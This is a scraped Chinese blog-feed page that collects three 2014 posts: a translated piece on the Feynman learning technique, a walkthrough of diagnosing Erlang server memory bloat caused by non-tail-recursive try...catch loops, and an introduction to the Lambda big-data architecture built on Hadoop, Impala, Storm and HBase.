知识面覆盖,与做练习题,是为了让你知道你还有什么不懂。这并不像听上去那么容易,毕竟知之为知之,不知为不知,难矣。你以为你都懂了,其实不是,所以老犯错;或者,你对某综合性学科心里没底,但又看不确切还有哪里不懂。

接下来的技巧,我称之为“费曼技巧”,将帮助你查漏补缺,在求知路上走得更远。当你能准确识别出你不懂的知识点时,这个技巧助你填补知识的缺口,尤其是那些最难以填补的巨大缺口。这个技巧还能两用。即使你真的理解了某个想法,它也能让你关联更多的想法,于是,你可以继续钻研,深化理解。

费曼技巧(The Feynman Technique)

这个技巧的灵感,源于诺贝尔物理奖获得者,理查德·费曼(Richard Feynman)。在他的 自传里,他提到曾纠结于某篇艰深的研究论文。他的办法是,仔细审阅这篇论文的辅助材料(supporting material),直到他掌握了相关的知识基础、足以理解其中的艰深想法为止。

费曼技巧,亦同此理。对付一个知识枝节繁杂如发丝、富有内涵的想法,应该分而化之,切成小知识块,再逐个对付,你最终能填补所有的知识缺口,否则,这些缺口将阻挠你理解这个想法。对此, 请看这个简短的教程视频

费曼技巧很简单:


  1. 拿张白纸;
  2. 在白纸顶部写上你想理解的某想法或某过程;
  3. 用你自己的话解释它,就像你在教给别人这个想法。


最要紧的是,对一个想法分而化之,虽然可能重复解释某些已经弄懂的知识点。但你最终会到达一个临界点,无法再解释清楚。那里正是你需要填补的知识缺口。为了填补这个缺口,你可以查课本、问老师、或到互联网搜寻答案。通常来说,一旦你精准地定义了你的不解或误解,找到确切的答案则相对而言更轻松。

我已经使用过这个费曼技巧有数百次,确信它能应付各种各样的学习情境。然而,由于学习情境各有特点,它需要灵活变通,似乎显得难以入门,所以,我将尝试举些不同的例子。

对付你完全摸不着头脑的概念

对此,我仍坚持使用费曼技巧,但翻开课本,找到解释这个概念的章节。我先浏览一遍作者的解释,然后仔细地摹仿它,并也试着用自己的思维详述和阐明它。如此一来,当你不能用自己的话写下任何解释时,“引导式”费曼技巧很有用处。 这里有个例子,展示我如何理解摄影测量学。

对付各种过程

你也能通过费曼技巧去了解一个你需要用到的过程。审视所有的步骤,不光解释每一步在干什么,还要清楚它是怎么执行的。我常这样理解数学的证明过程、化学的方程式、与生物学的糖酵解过程。 这里有个例子,展示我如何想到怎么实现网格加速。

对付各种公式

公式,应该被理解,而不只是死记硬背。因此,当你看到一个公式,却无法理解它的运作机理时,试着用费曼技巧分而化之。 这里有个例子,展示我如何理解傅里叶分析方程。

对付需要记忆的内容

费曼技巧,也可以帮你自查是否掌握非技术类学科那些博大精深的知识概念。对于某个主题,如果你能顺利应用费曼技巧,而无需参考原始材料(讲义、课本等),就证明你已经理解和记住它。 这里有个例子,展示我如何回忆起经济学中的掠夺性定价概念。

形成更深刻的直觉(Deeper Intuition)

结合做习题,费曼技巧能帮你剥开知识理解的浅层表皮。但它也能帮你钻研下去,走得更远,不只是浅层的理解,而是形成深刻的知识直觉。直观地理解一个想法,并非易事。它看似有些许神秘,但这不是它的本相。一个想法的多数直觉,可作以下归类:

类比、可视化、简化

类比:你理解一个想法,是通过确认它与某个更易理解的想法之间的重要相似点;可视化:抽象概念也常成为有用的直觉,只要我们能在脑海为它们构筑画面,即使这个画面只是一个更大更多样化想法的不完全表达;简化:一位著名的科学家曾说过,如果你不能给你的祖母解释一样东西,说明你还没有完全理解它。简化是一门艺术,它加强了基础概念与复杂想法之间的思维联系。

你可以用费曼技巧去激发这些直觉。对于某个想法,一旦你有了大致的理解,下一步就是深入分析,看能不能用以上三种直觉来阐释它。期间,就算是借用已有的意象喻义,也是情有可原的。例如,把复数放到二维空间里理解,很难称得上是新颖的,但它能让你很好地可视化这个概念,让概念在脑海中构图成型。DNA复制,被想象成拉开一条单向拉链,这也不是一个完美的类比,但只要你心里清楚其中的异同,它会变得有用。

学得更快的策略

在这篇文章里,我描述了学习的三个阶段:知识面、练习、与自省。但这可能让你误解,错以为它们总在不同的时期被各自执行,从不重叠或反复。实际上,随着不断地深入理解知识,你可能会周而复始地经历这些阶段。你刚开始读一个章节,只能有个大概的肤浅印象,但做过练习题和建立了直觉以后,你再回过来重新阅读,又会有更深刻的理解,即温故而知新。

钻研吧,即便你不是学生

这个过程不只是适用于学生,也同样有助于学习复杂技能或积累某话题的专业知识。学习像编程或设计的技能,大多数人遵循前两个阶段。他们阅读一本相关的基础书籍,然后在一个项目里历练。然而,你能运用费曼技巧更进一步,更好地锁定与清晰表述你的深刻见解。积累某话题的专业知识,亦同此理;唯一的差别是,你在建立知识面以前,需要搜集一些学习材料,包括相关的研究文章、书籍等。无论如何,只要你弄清楚了想掌握的知识领域,你就钻研下去,深入学习它。

版权声明:
本译文仅用于学习和交流目的。非商业转载请注明译者、出处,并保留文章在译言的完整链接。






作者:sleks 发表于2014-5-10 21:01:15 原文链接
阅读:67 评论:0 查看评论

Erlang服务器内存吃紧的优化解决方法

$
0
0

问题提出:服务器100万人在线,16G内存快被吃光。玩家进程占用内存偏高

解决方法:

第一步:
erlang:system_info(process_count). 查看进程数目是否正常,是否超过了erlang虚拟机的最大进程数。
第二步:
查看节点的内存瓶颈所在地方
> erlang:memory().
[{total,2099813400},
 {processes,1985444264},
 {processes_used,1985276128},
 {system,114369136},
 {atom,4479545},
 {atom_used,4477777},
 {binary,22756952},
 {code,10486554},
 {ets,47948808}]
显示内存大部分消耗在进程上,由此确定是进程占用了大量内存

第三步:
查看占用内存最高的进程

>spawn(fun()-> etop:start([{output, text}, {interval, 1}, {lines, 20}, {sort, memory}]) end).
(以输出text方式启动etop,其间隔为1秒,输出行数为20行,按照内存排序. 这里spawn一个新进程,目的是输出etop数据时不影响erlang shell 输入.)

 

第四步:查看占用内存最高的进程状态
>erlang:process_info(pid(0,12571,0)).           
[{current_function,{mod_player,send_msg,2}},
 {initial_call,{erlang,apply,2}},
 {status,waiting},
 {message_queue_len,0},
 {messages,[]},
 {links,[<0.12570.0>]},
 {dictionary,[]},
 {trap_exit,false},
 {error_handler,error_handler},
 {priority,normal},
 {group_leader,<0.46.0>},
 {total_heap_size,12538050},
 {heap_size,12538050},
 {stack_size,10122096},
 {reductions,3795950},
 {garbage_collection,[{min_bin_vheap_size,46368},
                      {min_heap_size,233},
                      {fullsweep_after,65535},
                      {minor_gcs,0}]},
 {suspending,[]}]

其中” {total_heap_size,12538050},”表示占用内存为 12358050 words(32位系统word size为4,64位系统word size为8, 可以通过erlang:system_info(wordsize) 查看),在64位系统下将近100M, 太夸张了!

第五步:
手动gc回收,希望问题可以解决
> erlang:garbage_collect(pid(0,12571,0)).
true
再次查看进程内存,发现没有任何变化!gc没有回收到任何资源,因此消耗的内存还在发挥作用,没有回收!

第六步:
不要怀疑系统,首先要怀疑自己的代码
认真观察代码,其大致结构如下:
send_msg(Socket, Pid) ->
   try
       receive
           {send, Bin} ->
               ...
           {inet_reply, _Sock, Result} ->
               ...
   catch
       _:_->
           send_msg(Sock,Pid)
   end.
其目的是循环等待数据,然后进行发送,其使用了try...catch捕获异常.
这段代码不是尾递归! try...catch会在stack中保存相应的信息,异常捕获需要放置在函数内部,所以send_msg最后调用的是try...catch,而不是自身,所以不是尾递归!
可以通过代码得到验证:
 cat test.erl
-module(test).
-compile([export_all]).


t1() ->
   Pid = spawn(fun()-> do_t1() end),
   send_msg(Pid, 100000).

t2() ->
   Pid = spawn(fun()-> do_t2() end),
   send_msg(Pid, 100000).

send_msg(_Pid, 0) ->
   ok;
send_msg(Pid, N) ->
   Pid !<<2:(N)>>,
   timer:sleep(200),
   send_msg(Pid, N-1).

do_t1() ->
   erlang:garbage_collect(self()),
   Result =erlang:process_info(self(), [memory, garbage_collection]),
   io:format("~w~n", [Result]),
   io:format("backtrace:~w~n~n",[erlang:process_display(self(), backtrace)]),
   try
     receive
         _->
             do_t1()
     end
   catch
     _:_ ->
         do_t1()
   end.

do_t2() ->
   erlang:garbage_collect(self()),
   Result =erlang:process_info(self(), [memory, garbage_collection]),
   io:format("~w~n", [Result]),
   io:format("backtrace:~w~n~n",[erlang:process_display(self(), backtrace)]),
   receive
     _ ->
         do_t2()
   end.

版本1:erlctest.erl && erl -eval "test:t1()"
版本2:erlctest.erl && erl -eval "test:t2()"
你会看到版本1代码的调用堆栈在不断增长,内存也在增长, 而版本2函数调用地址保持不变,内存也没有发生变化!

总结:
1,服务器编程中,循环一定确保为尾递归
2,尽量使用OTP,如果使用gen_server替换手写loop,就会避免出现该问题


作者:zcc_0015 发表于2014-5-10 20:59:49 原文链接
阅读:72 评论:0 查看评论

大数据Lambda架构

$
0
0

1 Lambda架构介绍

         Lambda架构划分为三层,分别是批处理层,服务层,和加速层。最终实现的效果,可以使用下面的表达式来说明。

query = function(alldata)


1.1 批处理层(Batch Layer, Apache Hadoop)

         批处理层主用由Hadoop来实现,负责数据的存储和产生任意的视图数据。计算视图数据是一个连续的操作,因此,当新数据到达时,使用MapReduce迭代地将数据聚集到视图中。 将数据集中计算得到的视图,这使得它不会被频繁地更新。根据你的数据集的大小和集群的规模,任何迭代转换计算的时间大约需要几小时。


1.2 服务层(Serving layer ,Cloudera Impala)

        服务层是由 Cloudera Impala框架来实现的,整体而言,使用了Impala的主要特性。从批处理输出的是一系列包含预计算视图的原始文件,服务层负责建立索引和呈现视图,以便于它们能够被很好被查询到。

        由于批处理视图是静态的,服务层仅仅需要提供批量地更新和随机读,而Cloudera Impala正好符合我们的要求。为了使用Impala呈现视图,所有的服务层就是在Hive元数据中创建一个表,这些元数据都指向HDFS中的文件。随后,用户立刻能够使用Impala查询到视图。

         Hadoop和Impala是批处理层和服务层极好的工具。Hadoop能够存储和处理千兆字节(petabytes)数据,而Impala能够查询快速且交互地查询到这个数据。可是,批处理和服务层单独存在,无法满足实时性需求。原因是MapReduce在设计上存在很高的延迟,它需要花费几小时的时间来将新数据展现给视图,然后通过媒介传递给服务层。这就是为什么我们需要加速层的原因。


1.3 加速层 (Speed layer, Storm, Apache HBase)

         在本质上,加速层与批处理层是一样的,都是从它接受到的数据上计算而得到视图。加速层就是为了弥补批处理层的高延迟性问题,它通过Strom框架计算实时视图来解决这个问题。实时视图仅仅包含数据结果去供应批处理视图。同时,批处理的设计就是连续重复从获取的数据中计算批处理视图,而加速层使用的是增量模型,这是鉴于实时视图是增量的。加速层的高明之处在于实时视图作为临时量,只要数据传播到批处理中,服务层中相应的实时视图结果就会被丢掉。这个被称作为“完全隔离”,意味着架构中的复杂部分被推送到结构层次中,而结构层的结果为临时的,大大方便了连续处理视图。

        令人疑惑的那部分就是呈现实时视图,以便于它们能够被查询到,以及使用批处理视图合并来获得全部的结果。由于实时视图是增量的,加速层需要同时随机的读和写。为此,我将使用Apache HBase数据库。HBase提供了对Storm连续地增量化实时视图的能力,同时,为Impala提供查询经批处理视图合并后得到的结果。Impala查询存储在HDFS中批处理视图和存储在HBase中的实时视图,这使得Impala成为相当完美的工具。


 

        Lambda抽象架构也可以这样来描述:



作者:GreatElite 发表于2014-5-10 19:58:01 原文链接
阅读:65 评论:0 查看评论
Viewing all 15843 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>